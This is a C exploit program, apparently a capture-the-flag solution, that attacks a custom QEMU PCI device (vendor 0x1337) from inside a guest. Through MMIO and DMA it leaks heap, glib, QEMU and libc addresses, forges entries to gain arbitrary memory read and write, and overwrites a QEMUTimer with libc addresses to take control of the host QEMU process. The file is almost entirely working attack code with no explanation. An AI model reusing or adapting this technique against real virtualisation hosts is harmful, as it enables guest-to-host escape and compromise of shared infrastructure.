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#define _GNU_SOURCE
#include <assert.h> #include <ctype.h> #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <stdarg.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/io.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #include <termios.h> #include <unistd.h>
#define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_RED "\033[31m" #define C_GREEN "\033[32m" #define C_YELLOW "\033[33m" #define C_BLUE "\033[34m" #define C_MAGENTA "\033[35m" #define C_CYAN "\033[36m"
#define C_ERR C_RED C_BOLD #define C_INFO C_BLUE C_BOLD #define C_OK C_GREEN C_BOLD #define C_WARN C_YELLOW #define C_DBG C_MAGENTA
#define LOG_IMPL(tag_color, tag, fmt) \ do { \ va_list _ap; \ va_start(_ap, fmt); \ fputs(tag_color "[" tag "] " C_RESET, stdout); \ vprintf(fmt, _ap); \ fputc('\n', stdout); \ va_end(_ap); \ } while (0)
__attribute__((format(printf, 1, 2))) static void info(const char* fmt, ...) { LOG_IMPL(C_INFO, "+", fmt); } __attribute__((format(printf, 1, 2))) static void success(const char* fmt, ...) { LOG_IMPL(C_OK, "*", fmt); } __attribute__((format(printf, 1, 2))) static void warn(const char* fmt, ...) { LOG_IMPL(C_WARN, "!", fmt); } __attribute__((format(printf, 1, 2))) static void dbg(const char* fmt, ...) { LOG_IMPL(C_DBG, "#", fmt); }
__attribute__((format(printf, 1, 2), noreturn)) static void err_exit(const char* fmt, ...) { va_list ap; va_start(ap, fmt); fputs(C_ERR "[x] " C_RESET, stdout); vprintf(fmt, ap); if (errno) printf(" (errno=%d: %s)", errno, strerror(errno)); fputc('\n', stdout); va_end(ap); fflush(stdout); sleep(5); exit(EXIT_FAILURE); }
__attribute__((format(printf, 1, 2))) static void hex(const char* fmt, ...) { LOG_IMPL(C_OK, "+", fmt); }
void binary_dump(char* desc, void* addr, int len) { u_int64_t* buf64 = (u_int64_t*)addr; uint8_t* buf8 = (uint8_t*)addr; if (desc != NULL) printf(C_WARN "[*] %s:\n" C_RESET, desc); for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } }
static void stdio_unbuf(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); }
static void pin_cpu(int cpu) { cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu, &s); if (sched_setaffinity(0, sizeof(s), &s) != 0) warn("sched_setaffinity(%d) failed", cpu); }
static void realtime_prio(int prio) { struct sched_param sp = {.sched_priority = prio}; if (sched_setscheduler(0, SCHED_FIFO, &sp) != 0) warn("sched_setscheduler SCHED_FIFO(%d) failed", prio); }
#define mb() __asm__ __volatile__("mfence" ::: "memory") #define rmb() __asm__ __volatile__("lfence" ::: "memory") #define wmb() __asm__ __volatile__("sfence" ::: "memory") #define cpu_relax() __asm__ __volatile__("pause" ::: "memory")
void* mmio_mem;
static inline uint8_t mmio_r8(u_int64_t off) { return *(volatile uint8_t*)((uint8_t*)mmio_mem + off); } static inline uint16_t mmio_r16(u_int64_t off) { return *(volatile uint16_t*)((uint8_t*)mmio_mem + off); } static inline uint32_t mmio_r32(u_int64_t off) { return *(volatile uint32_t*)((uint8_t*)mmio_mem + off); } static inline u_int64_t mmio_r64(u_int64_t off) { return *(volatile u_int64_t*)((uint8_t*)mmio_mem + off); } static inline void mmio_w8(u_int64_t off, uint8_t v) { *(volatile uint8_t*)((uint8_t*)mmio_mem + off) = v; } static inline void mmio_w16(u_int64_t off, uint16_t v) { *(volatile uint16_t*)((uint8_t*)mmio_mem + off) = v; } static inline void mmio_w32(u_int64_t off, uint32_t v) { *(volatile uint32_t*)((uint8_t*)mmio_mem + off) = v; } static inline void mmio_w64(u_int64_t off, u_int64_t v) { *(volatile u_int64_t*)((uint8_t*)mmio_mem + off) = v; }
static void* pci_map_bar(const char* sysfs_resource, size_t len) { int fd = open(sysfs_resource, O_RDWR | O_SYNC); if (fd < 0) err_exit("open(%s)", sysfs_resource); void* m = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (m == MAP_FAILED) err_exit("mmap %s", sysfs_resource); close(fd); info("BAR %s mapped @ %p (len=%#zx)", sysfs_resource, m, len); return m; }
static inline uint8_t pio_in8(uint16_t p) { return inb(p); } static inline uint16_t pio_in16(uint16_t p) { return inw(p); } static inline uint32_t pio_in32(uint16_t p) { return inl(p); } static inline void pio_out8(uint16_t p, uint8_t v) { outb(v, p); } static inline void pio_out16(uint16_t p, uint16_t v) { outw(v, p); } static inline void pio_out32(uint16_t p, uint32_t v) { outl(v, p); }
#define PAGE_SIZE 0x1000UL #define HUGE_SIZE 0x200000UL
static u_int64_t virt_to_phys(void* vaddr) { int fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) return 0; u_int64_t vfn = (u_int64_t)vaddr / PAGE_SIZE; u_int64_t entry = 0; if (pread(fd, &entry, sizeof(entry), vfn * 8) != sizeof(entry)) { close(fd); return 0; } close(fd); if (!(entry & (1ULL << 63))) return 0; u_int64_t pfn = entry & ((1ULL << 55) - 1); return (pfn * PAGE_SIZE) | ((u_int64_t)vaddr & (PAGE_SIZE - 1)); }
static void* alloc_phys_pinned(size_t size, u_int64_t* phys_out) { void* p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | MAP_LOCKED, -1, 0); if (p == MAP_FAILED) err_exit("mmap(%zu)", size); memset(p, 0, size); if (mlock(p, size) != 0) warn("mlock failed — pages may get evicted"); if (phys_out) { *phys_out = virt_to_phys(p); if (!*phys_out) err_exit("virt_to_phys (run as root? /proc/self/pagemap restricted)"); } return p; }
static void* alloc_hugepage(u_int64_t* phys_out) { void* p = mmap(NULL, HUGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_POPULATE, -1, 0); if (p == MAP_FAILED) { warn("hugepage mmap failed — is /sys/kernel/mm/hugepages/*/nr_hugepages > 0?"); return NULL; } memset(p, 0, HUGE_SIZE); if (phys_out) *phys_out = virt_to_phys(p); return p; }
static ssize_t slurp(const char* path, void* buf, size_t cap) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; ssize_t n = read(fd, buf, cap); close(fd); return n; }
static void xwrite_file(const char* path, const void* buf, size_t n) { int fd = open(path, O_WRONLY); if (fd < 0) err_exit("open(%s) W", path); if (write(fd, buf, n) != (ssize_t)n) err_exit("write(%s)", path); close(fd); }
#define DS_TIMER_PTR 3040 #define DS_DMA_DIR 3048 #define DS_SELECTED 3049 #define DS_OFFSET 3050 #define DS_CHUNKS 3052 #define DS_CHUNK15 6892 #define DS_ENTRIES 7152 #define DS_ENTRY1_PTR 7192 #define DS_MUTEX 7664 #define DS_FREELIST 7720
static uint8_t* dma_buf; static u_int64_t dma_phys;
static void hak_alloc(int idx, int sz) { mmio_w64(0x00, (u_int64_t)idx << 16 | sz); } static void hak_free(int idx) { mmio_w64(0x08, (u_int64_t)idx << 16); } static void hak_sel(int idx) { mmio_w64(0x20, (u_int64_t)idx << 16); } static void hak_off(int off) { mmio_w64(0x18, (u_int64_t)off << 16); } static void hak_dma_addr(int idx, u_int64_t a) { mmio_w64(0x28, (a & ~0xfULL) | (idx & 0xf)); } static void hak_dma_len(int idx, u_int64_t l) { mmio_w64(0x30, (l & ~0xfULL) | (idx & 0xf)); } static void hak_dma_r(void) { mmio_r64(0x00); } static void hak_dma_w(void) { mmio_w64(0x10, 0); } static void breakpoint(int n) { mmio_w64(0x20, n << 16); }
static uint32_t hak_r32(void) { return (uint32_t)mmio_r64(0x08); }
static u_int64_t hak_r64(int off) { hak_off(off); uint32_t lo = hak_r32(); hak_off(off + 4); uint32_t hi = hak_r32(); return (u_int64_t)hi << 32 | lo; }
static void dma_wait(void) { usleep(100000); }
static void pci_find_and_enable(const char* vendor, char* res_path, size_t len) { char path[256], buf[16]; DIR* dir = opendir("/sys/bus/pci/devices"); if (!dir) err_exit("opendir pci devices"); struct dirent* ent; while ((ent = readdir(dir)) != NULL) { if (ent->d_name[0] == '.') continue; snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/vendor", ent->d_name); if (slurp(path, buf, sizeof(buf) - 1) <= 0) continue; buf[15] = 0; if (!strstr(buf, vendor)) continue;
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/config", ent->d_name); int fd = open(path, O_RDWR); if (fd >= 0) { uint16_t cmd; pread(fd, &cmd, 2, 4); cmd |= 0x6; pwrite(fd, &cmd, 2, 4); close(fd); } snprintf(res_path, len, "/sys/bus/pci/devices/%s/resource0", ent->d_name); closedir(dir); return; } closedir(dir); err_exit("PCI device vendor=%s not found", vendor); }
typedef struct __attribute__((packed)) { uint32_t flags_size; uint32_t id; u_int64_t ptr; u_int64_t dma_addr; uint32_t dma_len; uint32_t pad; } entry_t;
static void set_target(u_int64_t addr) { *(u_int64_t*)(dma_buf + 0x1000) = addr; *(u_int64_t*)(dma_buf + 0x1008) = 0;
hak_dma_addr(2, dma_phys + 0x1000); hak_dma_len(2, 0x10);
hak_sel(2); hak_dma_w(); dma_wait(); }
int main() { stdio_unbuf();
char res_path[256]; pci_find_and_enable("0x1337", res_path, sizeof(res_path)); mmio_mem = pci_map_bar(res_path, 0x1000); dma_buf = alloc_phys_pinned(0x2000, &dma_phys); hex("dma virt=%p phys=0x%lx", dma_buf, dma_phys);
hak_alloc(0, 0x80);
hak_sel(0); u_int64_t leak = hak_r64(0); hex("leak=0x%lx", leak); u_int64_t entrys = leak + 0x204; hex("entrys=0x%lx", entrys); u_int64_t dev_state = leak - (3052 + 14 * 256); hex("dev_state=0x%lx", dev_state);
hak_dma_addr(0, dma_phys); hak_dma_len(0, 0x10); hak_sel(0); hak_dma_w(); dma_wait();
hak_free(0); for (int i = 1; i <= 14; i++) hak_alloc(i, 0x80); hak_alloc(15, 0x80);
hak_alloc(0, 0x200); hak_dma_addr(0, dma_phys); hak_dma_len(0, 0x1F0); hak_alloc(0, 0x80);
typedef struct __attribute__((packed)) { uint32_t flags_size; uint32_t id; u_int64_t ptr; u_int64_t dma_addr; uint32_t dma_len; uint32_t pad; } entry_t;
entry_t* e = (entry_t*)(dma_buf + 260);
e[0].flags_size = 0x201; e[0].id = 0; e[0].ptr = dev_state + DS_CHUNK15;
e[1].flags_size = 0x4001; e[1].id = 1; e[1].ptr = dev_state;
e[2].flags_size = 0x4001; e[2].id = 2; e[2].ptr = dev_state + DS_ENTRY1_PTR;
hak_sel(0); hak_dma_w(); dma_wait();
hak_sel(1); u_int64_t leak2 = hak_r64(8); hex("leak2=0x%lx", leak2); u_int64_t libglib_base = leak2 - 0x5f6c0; hex("libglib_base=0x%lx", libglib_base); u_int64_t timer_ptr = hak_r64(0xBE0); hex("timer_ptr=0x%lx", timer_ptr); u_int64_t leak3 = hak_r64(0x378); u_int64_t code_base = leak3 - 0x5d9e10; hex("code_base=0x%lx", code_base);
set_target(code_base + 0x1B131D0); hak_sel(1); u_int64_t leak4 = hak_r64(0); hex("leak4=0x%lx", leak4); u_int64_t libc_base = leak4 - 0x11ba80; hex("libc_base=0x%lx", libc_base);
set_target(timer_ptr + 0x10); hak_sel(1); hak_dma_addr(1, dma_phys + 0x1800); hak_dma_len(1, 0x10);
u_int64_t* timer = (u_int64_t*)(dma_buf + 0x1800); timer[0] = libc_base + 0x58750; timer[1] = libc_base + 0x1cb42f;
info("Write QEMUimer"); hak_dma_w(); dma_wait();
info("Trigger QEMUimer"); hak_dma_w();
return 0; }
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